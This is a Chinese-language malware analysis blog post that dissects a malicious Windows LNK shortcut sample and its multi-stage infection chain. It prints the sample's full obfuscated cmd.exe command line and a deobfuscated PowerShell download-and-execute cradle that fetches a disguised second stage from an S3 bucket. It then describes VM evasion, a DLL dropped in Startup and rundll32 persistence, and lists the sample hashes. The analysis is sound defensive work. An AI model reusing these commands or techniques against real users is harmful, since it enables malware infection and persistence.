一、前言
最近,我的一个朋友分享了一个有趣的恶意样本,它是一个微软快捷方式文件(LNK文件),在用户点击执行后导致感染。此前,我并不了解这种类型的攻击媒介,但在搜索引擎上进行了简单的查询之后,我发现自2017年以来,这种类型的攻击就有所增加,我感觉很惊讶。在这篇文章中,我们将分析LNK文件恶意软件,并揭示攻击者是如何使用多层混淆来逃避反病毒软件,并最终投放恶意二进制文件的。我们还将对每一层进行反混淆,并了解代码的实际作用。
我们正在分析的文件为:af6df15050dea1a756bb99bb0597d7072c2aee4c。
二、动机
我之所以对这个特定样本感兴趣,是因为这个文件初步看起来是非常的安全,并且从社会工程学的角度来看它是非常具有吸引力的。作为一个快捷方式文件,它在用户看来并不可疑,因为文件并不是EXE。接下来,当用户单击文件时,会弹出一个浏览器窗口,它会打开链接https://get.adobe.com/br/flashplayer/,这就会让用户认为他的系统中缺少一个Flash插件,而这时无法打开和执行该文件的原因,一旦在用户安装了Flash播放器并再次尝试打开文件,并意识到它只是一个垃圾文件时,就为时已晚。
但是,在系统后台实际发生的,是它通过Shell命令执行PowerShell命令,下载下一阶段的PowerShell脚本,该脚本负责对主要恶意可执行文件进行实际下载和安装。它下载的文件是一个BMP文件,乍看上去是一个安全性较高的图像文件,但实际上它是经过伪装的PowerShell文件。
三、什么是LNK文件
LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。“LNK”是“Link”的缩写,该文件可以通过更改图标来伪装成合法文档,但在我们所分析的这个恶意样本中却没有这样做。
四、基本分析
下面是该文件常规属性看上去的样子。
仔细看一下“快捷方式”(Shortcut)选项卡,我们能得到更多细节信息,如下所示。
正如我们在目标字段中看到的那样,它指向了带有一些参数的命令提示符可执行文件。这是在执行此LNK文件时运行的命令,但却不是完整的命令。
在“快捷方式” – “目标”中,支持的最大长度仅为260个字符。任何比这更长的内容都不可见。但是,命令行参数的最大长度为4096个字符,因此我们无法在上面的窗口中看到完整的命令。所以,我使用另外一个工具,来提取整个命令。
五、深入研究LNK文件格式
使用LNK文件分析工具,我们可以设法获得整个嵌入式命令,如下所示。
提取LNK文件的属性后,我们得到了其中比较感兴趣的一些字段:
字段:Relative path
值:..\..\..\..\Windows\system32\cmd.exe
字段:Working Directory
值:%SystemRoot%\System32
字段:Arguments
值:/V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&…
c:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! –
我们将上述混乱的命令做整理,发现它只是一系列Shell命令,并且使用&&相互连接。整理后的结果如下所示:
set x4OAGWfxlES02z6NnUkK=2whttpr0 set L1U03HmUO6B9IcurCNNlo4=.com echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ set aZM4j3ZhPLBn9MpuxaO= -win 1 set MlyavWfE=ndows set jA8Axao1xcZ=iEx set WMkgA3uXa1pXx=tRi set KNhGmAqHG5=bJe set 4kxhaz6bqqKC=LOad set rwZCnSC7T=nop set jcCvC=NEw set ZTVZ=wEbc set DABThzRuTT2hYjVOy=nt).dow set cwdOsPOdA08SZaXVp1eFR=t NeT. set Rb=Ers set j4HfRAqYXcRZ3R=hEll set Kpl01SsXY5tthb1=.bmp set vh7q6Aq0zZVLclPm=\\v1.0\\ set 2Mh=pOw set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1% @echo off %SystemDrive% cd\\ cd %SystemRoot%\\System32 echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe
上面每一行都是Shell命令。在第一行中,设置了一些变量,然后在第三行和最后一行中使用这些变量来编译并执行。这种编译和反汇编变量名的方法使代码更难阅读。
上面混淆的Shell脚本,可以解码以下两个命令:
C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com && echo | start https://get.adobe.com/br/flashplayer/
此命令在浏览器窗口中打开Adobe Flash Player安装页面。
echo iEx("iEx(New-Object Net.WebClient).DownloadString('hxxps://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowsPowershell\v1.0\Powershell -nop -win 1 --%ProgramFiles%\\Internet Explorer\\iexplore.exe
此命令实际下载了第二阶段PowerShell,该文件伪装成URL中的BMP文件。
六、解码第二层PowerShell
由上面LNK文件下载的PowerShell脚本,可以在这里找到(fd60a8b790b42f0c416c28e4ad22dc317ad8fbc5)。该脚本经过严重混淆,使用了ISESteriods。我最终成功对脚本进行解码,可以在这里找到可读版本的代码。
该脚本会执行以下操作:
1、检查是否在虚拟机内部运行,如果正在运行,则不执行其余命令并退出。否则,将会进行后续步骤。该脚本会检查如下虚拟机是否存在:
(1)VirtualBox
(2)VMware Virtual Platform
(3)Virtual Machine
(4)HVM domU
2、创建一个名为444444444444的互斥锁(Mutex),这是为了确保只运行该程序的一个实例。
3、如果上一步成功进行,则下载一个Zip压缩包文件,该文件再次伪装成一个图像文件,下载地址为hxxps[://]s3-eu-west-1.amazonaws.com/juremasobra2/image2.png,文件特征值为887eafc19419df5119a829fd05d898503b7a0217。
4、将PNG文件重命名为ZIP文件。
5、从包含DLL(92be09ca93ad6a8b04b7e2e2087fc6884fef1f63)的ZIP文件中解压缩内容,并将该DLL文件复制到启动(Startup)文件夹中。
6、通过在启动文件夹中创建快捷方式文件,来实现其持久化机制,这个快捷方式文件(又是LNK)在命令行中调用run32.dll来运行恶意DLL二进制文件。由于run32.dll是一个系统内置、经过签名的二进制文件,因此这里的执行操作并不会引起怀疑。例如,该命令_rundll32.exe shell32.dll, ShellExec_RunDLL notepad.exe_将会启动notepad.exe。
7、脚本随后休眠40秒,然后重新启动主机。
通过上述持久性技术,恶意软件试图将其恶意DLL二进制文件隐藏在合法二进制文件之中。
关于这种持久性机制的更多信息,可以阅读这里。
七、样本信息
af6df15050dea1a756bb99bb0597d7072c2aee4c:恶意LNK文件
fd60a8b790b42f0c416c28e4ad22dc317ad8fbc5:恶意LNK文件投放的PowerShell文件
887eafc19419df5119a829fd05d898503b7a0217:上述PowerShell文件投放的ZIP文件
92be09ca93ad6a8b04b7e2e2087fc6884fef1f63:上述ZIP文件中解压缩的恶意DLL文件
八、参考
[1] 关于LNK文件格式
[2] 与此样本攻击方法类似的攻击分析